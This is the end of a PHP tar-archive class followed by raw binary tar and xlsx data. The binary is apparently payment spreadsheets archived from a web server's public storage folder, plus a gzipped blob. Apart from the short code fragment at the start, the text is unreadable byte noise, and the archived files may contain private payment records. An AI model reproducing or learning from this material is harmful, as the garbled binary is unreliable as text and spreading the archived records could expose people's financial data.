			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!8;x"",5dkj3p/payments 2025-07-16 13-57-11.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-16 13-57-11.xlsx000075500000015626000000000000020161 0ustar00PK%o�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK%o�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK%o�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK%o�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK%o�Z�ǧsdocProps/core.xmlSV���N�0��<E�+J��GQ�J�D%$��j�mk�ؖ����q�6���S4���ݑ�پ��Op^=%و��0R�͔<��-I<r-ye4LI��ʋB�\��Xp��'�}.�lmN�[�����ڸ�c�nC-;�:f�ր\r��v �R�i?\RP����f�������ηd����g�h�WC�i�Q3��0F_�Oq�T�*�,�ȅ�ƕ�z�M��y����z���eh|�@޵��#�a�2	��2G�e2�_-H9f㫔ݤ�*��W7y�]2�3֍q9Q��M��)�TXAX-~e�dÝ�o0���]P�NYϱ��ُ����;��A��v�6�I_��N�{�a��qmo�Pg���PK%o�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK%o�Z��5�=xl/sharedStrings.xmlSV}R�J�@��,��<|�$.��~@hGh&53�i](*(���
j�/���;
>�(�$��s��Ɲ݈jd�%"��G����q%�]^Z0�(2�s��M&�?�
!	R��hU�z�4E�ʢ@��uƱ�'Q �3Y5E=aAET�Q�t,kŒ��S���Z���
.=���wE�҇+x�g�&t\S���񏚞Z���fPV�d�Q�ti|��Z#�3ІTm�X�P����� C�6�G����A)�D�v�!�r�
kҰ�sN�vj�=t���m��|��Cnq>G;�K�j��YljEu�s�k��i��T`�+=�maR]����f��w
��zԑ�!��O
/�}�==g�C�;��@.�1�aj�p]�&��=�-�K����mڅ���PK%o�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK%o�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK%o�Z��.zxl/worksheets/sheet1.xmlSV�W[s�:~?���`l����i⸹u�Ir�g��	 �$�����ɤ��$�����o�e=�z(rg�'�����s\&4%�z���2r.P����x�1w����){���^����v���3w#D5�}�lp��G+\�&��@�l�s8�R�T�~�׋��� L�G0h��/h�-p)4�9�ߐ��h��Cx)C{ȿ��
q�5
^��+H�(���Z��^g9�ǭ<�ǀ�!�'h*���U ����\ܬHN�Qa�N�L��%eh�C!/�XI���O��S%�gNFr������t+rRb��m��pN�RW�z#���O}3��J-��p6s���XZ(��﹵vZ=�'�
Z^���Ry"��|C��Io!���m�>�9�/!/x$:�
��9<V���
]���ř8�y>s/"�A� ;|���YQ!h�R�J�,c�7.U�*B�R��J���i$��m���-��?��"~!T�`�k���@mR��m.��Kl�z����-��A��זqR��s��)��8tP��$���y��[a.��L]�d�!�_��E��a5`h�0�ya�O�`d�p0����0n!�0�4���
����^�a�y��7��
>���\�!��x�yȠ�� G��C_�o��@ͧ������l�@��DJϤXu"p�A��é��@�d�M"ˤ�kL|�o|N�(���c�q�M�ɸ�6	u���F����6t܆>k);��tQ'�P��&a��u~�V.[�~[����u�R���+[١���u�pc놧�N�kߎIg���ι��Teru�.Z��CN�v=���W��>ҡ�&R�f!>�B��;,غ�QʷY��a!~����S���a!~a����
�T�����&�b�w�}���@���C�j$���m�Z���	��a����AWe�[��0�������m�d$w�*2JE�1��h[�`Ra�H~��ϡ������k� <A��=��O�6�޴_�J�;���t_>mpy?b�O�R�$�0_wiz��e�C�X�E#V!�"b?&�>�r�.��0d�0����4��ڻ�k�������us��d2��Hk�6͡��&`>r��GLp'��R����PK%o�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK%o�ZG�D�Z� [Content_Types].xmlPK%o�Z�78�K �_rels/.relsPK%o�Z�$�V�� �xl/_rels/workbook.xml.relsPK%o�Zad���E �docProps/app.xmlPK%o�Z�ǧs �docProps/core.xmlPK%o�Zs�{Y�� (xl/theme/theme1.xmlPK%o�Z��5�= 
xl/sharedStrings.xmlPK%o�Z�A	�
 �xl/styles.xmlPK%o�Z�U���v $xl/workbook.xmlPK%o�Z��.z >xl/worksheets/sheet1.xmlPK%o�Z�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK��PK!̡l"",5dkj3p/payments 2025-05-28 15-24-23.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-28 15-24-23.xlsx000075500000015356000000000000020161 0ustar00PK{�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK{�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK{�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK{�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK{�Z�e�rdocProps/core.xmlSV���N�0D�|E�+J��(M%�8��D\�����m�!��i�8E�?�\.��:���s�MI@#�^����6�"�G�%���9�EuV
[���$��/���
�-(�b
����|3���[S�Ŗ���]��K����ԎD�CJ1"퇫#@

54���l��C�5���9J6
;F���j�m;i�1�����c\5U��J�J)
ဣqՓ�j��d9�y}�5�xS ����ߑr�����a���<]ެnI��|��Y�_��Y�_���~�ȁ��n�vO�]���j�+�G�~������p�bx�U�N~�?^�A�`�"t���5N�*6vP�K
�����:y��7PK{�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK{�Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK{�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK{�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK{�Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK{�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK{�ZG�D�Z� [Content_Types].xmlPK{�Z�78�K �_rels/.relsPK{�Z�$�V�� �xl/_rels/workbook.xml.relsPK{�Zad���E �docProps/app.xmlPK{�Z�e�r �docProps/core.xmlPK{�Zs�{Y�� 'xl/theme/theme1.xmlPK{�Z',�eY� 
xl/sharedStrings.xmlPK{�Z�A	�
 �xl/styles.xmlPK{�Z�U���v �xl/workbook.xmlPK{�Z�f�m� �xl/worksheets/sheet1.xmlPK{�Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!4�45dkj3p/payments 2025-08-01 07-45-11.xlsx.xlsx.tar.gznu�[�����yeP�۶m�q
\�C#AB��5x�qk�!@�܂�� xp'x�}����}�W�ޫ:���ZUs|Us�5ךk�:������;�X�B���`�f&�vv�v�F�Pv;Cw['GJNNV>V%/+7+��f���_�q^�����@�|���99@��(9�w�3pvt2t���o�?%<>���}�#-^�
!x�����^y5w;G=67kU
�4��B��:�lj�0
Ͼ'.�2�U��p��Z닳��I�8[#��3�k�N���o�V�g��8LU,��-P�w�hͭ�_y�[4���c���5z���>t�����\�h��h��cv�a'?�Ѭ��{{���w_�q"Sddѣ/Y�`4m2��:u�q�)0�E7Ii^+����fV���Z�|$}�K��%
���+Q�j��mG	v�N�G>w8�(�roK$f����1r�N,�9�O�φ!�t�z�z���ҷX��1��L xs����`à*��}-p�_[N>D���|�&�N�B~)��~g5�t�`���Q��}��G�:�{(��Z^��{� ��{9L�����C��a�.t�CO`�gv�[�d��`fg%� ��V���
�Ɖ���\Ō�w���A�����d���fkH�w����Hz*��f5]����%Ϟ������_���Q���Z��ŞpUo
�Or���w������1V��2w�6uf'�[V�$��5�=rW�c���j瀱�-��O14��h�/$$��-�~��泧��I/�
�g��>��F���_�t�`�e<�Jm��^i��
ɽWܬ�t�+����#LqRǽ���+.�]�e��tu.��k�e�ym~^��J?A�B��.�M����{�(7�\��$��%_�r���=c��=��!HO;;���{���6J^��n�XB�SJ^��֩<�D��Ɂ�a}WM�+���;h�U��
�d����b��Ho�ö�dh���I����)�ϬiBz{�31�uбB5��DoF�����.	�֢9���N�׹�%��
�ݏ�v(:��8�:�~&K��N2�A�`v�����q����<v���C�I6�ј������i���8C�-BS;]W�ºZ��r�J�Z]����M�	�ŀ�k1:�%8ԟ��ͭ�Ufa�2E�����3�i���&�X{ϗ�a�1�~�D��{zY����#����q��U	l՘a$b7�n�Ӵ_J�Fu�G�;x\>���D�O���.[$���rsR�5�}���η`��K�v�t��5T�
�b�Q�����n��T��%�/n�J�e��d�88�`��杜��:��-ř��k��2���9Ä�m1n����؇&^xǕ_��S�$��D��W|߸�
�����rmw#>�)ta�-9m�K���˳�mlu���ȣ�����@�@��Y	�I3�Jl��e�w�uw1�9��s�ί�Aa&	�ݡ�Ͽ̲��J�y��
j��8��-�y�6_�,n�,T�|1�B��C��q^���[��a��o�d���-�3�c�if�5%�ª������m�!�p��6;G���7b=*��o���^�k:�O�~3�4#��7A����>�)^)%��*�	&3�?[ǎC	;�nG�ǯ�Kj	o�ȇ�ZN-Q��sY҃H6F�>�k���
����-��^���q4�;����E\ԣ��1���?�<��0����tso�pO_X,=��7]���_:����K�H��
���>�]S��ev;-��cr1\e���_J�\EP��L@�}��O���)�)�y�q�D牞z�>/:�
�9�[�r&�ּz��P$�(O�&D ���e�>9��ؘ�y�%Ӿ�"l�~ۡ*vc]�5�������~|n�Xd�8��Q�r;�c߾���k�'߯.D��~z��1�]�p?���Д�Bn.k��7��m��ʭ�"CcT8�'9P�RB��Q����;�B�B;�W�x���3τ�Cx�č�}�H������މ�'��2���lF%�D�c_���>#�r	�0�B�k?;w��$�X9�4�.3+s�%�9HD`�+�ӘU�!t�@�R})0�M�s��FL�ŷ�O�c��Ŋ�1Ne4qbL�v�����j�>���x��۶tx����כ��Y�� s�iS�G�~�i�Ė��V�<��c�~G]��+�mI��0pQo�E�g�Nˢ6�!��eG�O]ȨN��1bZ�#N����f��s/x���&��~
�Ҧ�W���8B��l�,�.V��==�]R��ڪ�4hL���\q�BE�^s���F���]f}X��>߷.W�:I�P�;��ogx32�2|nN�L�'��~^n��y"1�]�?m�<Y������k�;�²��m��Gv<{����&�L�`�C��//�<�F��)ib�$���_07�����,�m�|z;��&o;:�٣ַ�2���g�m��<�'NaAC�-�2���(��C�sµ?��E.�'�F<ʼn�5�mb��-�w<|�7�m��'�F�{�Ĥ���k΂�|�,ày40#��X�DԶU�B�	*�'g�Թ����_;����L��C�C�S������*�%������kJҹ�U���֬�B�����)��%��Y�Gf�brJ�d�>�WW3L�_�xb.��
�
>
u&;x��C�1������o�?�4�u[/�Yzj�6�W�z=刟+qI�6��p�����	�}H:����G2��w�Eޠ�S��T���:�֡ǻ�H�ro��Z& �8A�`l���J;���o��Vz��
����� �
q�V��"|�I�%<h���4"��,�ɩ�W|cAa�|�\��?=�,&�u`O�YD&zxV��ީ@�d�-*sD�2�f����UCó6���}8�����[Z�\�tl�ls[b||'�Vm��$�z+�k��3���FP(�])|$O�x�G���S1H/t�89�[�D���,��ot���`A@�~
�~����!���u�����Z›G�B�N�R�.�0s��G�Njz��ih��e�cH(a�/�*�p��b%')P̟8he>���We�Jۖ�Lp.^V�o�P����U��4V�si
L�<9:ß]9�2gq��:(�jO��^�w}.���@旼=��o��6צ���u��wM��9��[����dV[3��j}^����s^'֊5.��!�<���6�lO\��6\;0S�0��cVg���X��ZkvT��X�?�_S*־�
�<x�gSO!��㙏lǸ?|�G;����q����A��|�hn�`b���`ak�W�o���,��z��LQ�p+3��a�EI{pШ��}>,�� ͔,Ƭ^�=�<�/1��Y��P��VV��련Z���Y����)t_�I�EY��H�@�qG޳����V�
��W�!_<a5��s�ב���*���� ���Td�P�A`���?_�����s�F��<���A�
�M�
�H��G�N\����ܺx�.��e	�#����}��N
�J���LI��P�� ��-���G>�R�ح4�`?��W�XlT�p����uZ�N��x���Ҙ�E�,�Z�wU靖ZMzJ�<q?XH�M�_!@����#���"�.G$�H�+��D�^��4g�Ŷ6ǰ�!�cY�o?j�����L�%|�B�� M�)����P\,;@OPj�X2%9y��ц����<��>�O #�8�K�CU±���SM0��T���F?��S�Sb.R�p{�2�{�B.�zWGk��zA����UG�U_�5�^Ew��>�8d�8��r,��%u���G)�ZM�^�W���/����UʡlD&� �'����|���hޘ8�T���hމQT$z��//Jf�K^8ښ��f2���_�`�K5��ʫ�G�.Ӥ��\l�i��$u���JԳ��ф��ެ��BU���2���z�J ��z��Q��Ϩur�6�W�k��R9�[.4_���L�RSZ�P���Ԫ�!!M	��р���AG+.����FC�\��oXB�p��P��9V��WQ�{�x[;���?�@G���+�E&l�_����5/77ņ�h�y;y,}���sQ�D��8K��$m�RGg�01�$����&�f�{�l%"�;9�2�#�<����RWD����?}�u[�O��P�-2h�l�IۧKu}3��>�g�>�D
�S�>������_2ˍ���@Z3����"SB�-Y͓�#���	�E�����X����L"�LP���yt���p�,JqG
�lbsT�%���ۯb���p.Z%�h���~�m7N��\c}��_]���e~�e�TMې��q�(VJ�����`��YC1=��������ˈ��`g�1�)��N��/��Y�D:d$��q�G�����͓�t�/1���������N��|#�k��Tƅ�ydu)�_n�v��h�L��N���bݸ��{�0n�ԛ/��K���ϸ����#r�U�?���2E�H�~΢rA�V�nS� 뉷���jR������M=��v�Nwq�U���r6vb��M�VJȣ��>� �*�ڞ�	q�|�O�^�9�4�[��4���d��CI���G%�|��fX��� A}���c�3
?3s
�>��q����5�m֮�[��B+����4�}O�P\��u�4S���:�L�6�Uw^Z��;ݨ>��}��$XOj���i�����_�8w�[���i��yu�2s��E�Mר�5a{i�՜�ݜ�}-�G����cU9��daTI-�ޥ�#݇����;Q5N�nc+f��G���yZ��ɒ֧�r�T�+��x��oԷt�\O���g��o3���R����������E��L�T�`��)i�Ӻ��Aс��Ql����zv5�4}�jy\:|��N�h���r*���=�c�R����2��r�es�A���R�ͷ1�$�e�����'�n��v5�=��ad����+"�$�G������#�?�*~J����/4ݼ�o�dP�rҜ�ε+L�&k�+}s�|��E[W[���u�F���(�9F�H��'����׾$z�ՠ3����;��r�W��r%�׺� !Ó�EqVS�bf"�
��w�/��<-xH#w�"�/#�����$⿯Ԭ$�aA��,��1�
CK�+�
k�Ϸ �&��Bd���*a2�]6�Su_�����bH�8�� ��]��0ҭ.<��'S��?�q���H�պaۚp�bg~_�ÆU�;K�}�=p��?b4[�F�Ɣ���m9���z�i$Ïb�3,hD`q��v�^+����������'�A��OW�5Z#1a<U�"۝���<�O�>�LMTI�|�T�S�n����|���%N��y8��jh+!�ض�c��jǭ�Y.>}
��Y����S0~g�.f
�ֵ�t$�J}'8�9
`�y��R=6.�N4WZϸ�F-xn��P �G�9���B�p�X�H�Nb�:���rt��i���% �	dz2X��<沙��/��&,kͤ$�h��r���v��z�����c�|�ޚ
�����}UlX�4��3&�������D�Y3ď��aDH!YK$�iY��w�o�9�е"_ٶ����=m+8�G�WFY���`�e�t����Q�7foz�_E�����|�/���р�i�44����""1A�Ԩ��R�C���k]�&N]�'�A/Tu8g4o�֏��͒�W�@�㪕�� U#�]�1�#�Y�ک����l&�G�(uJͤu�on�E!Vaj�1ԁE�������4
��6��d�{Xx�(c��5���;+7,ŪNt:;�9Ƿ�*涬|���Ċ���RZ�i��A,΁N�ᇂNi<<�l�h��P�k�Gć �3��N�e��@�R��&4��T#�8�Iqi��9��,�l��(�ϕ\��`9kj<R-�jV(A��
��~�S��~)�.�?���-s��pj�����\<C)�p�j�;)%��.B�V����bvnW&!s]�Es��C��-�����ܒrO��ɜe��l�=怣��֝�-!�(��LV�}�4У|���k�̺�oVb	�„��aө-E���v)!�M��ۋ����	��߯@�	�G�PN�1�"��4�W�4�q߬&g��Ή*y��uu���G��?w+�zބ?=��oQ��	�3n�_�*ŝ|�~�?�6����Y���_���W\pD7/���OhvYc5�Fao�����esO����ѽs���|r�E�X~g�́~�oh�‡����U^�X��SԦn�/ �*������I�����ec�/r���tMә�0{Q�1�wA7]C�g˕��>�M�:N���B��=N˜�XF<-�df�c9{���I�A�m�=L���F!�mխ%Yb&���:�w�r�j*�1m��ϥ_��x;,j;~X�c�4�Ir>N�Μ�#��<KJ�-El�.��"�j�J�6�`�ϩS��g?D(��h�r�E�pj�yR��Ӛ�Fkq�eLzt�¢�,D3��2��#�d���|���N
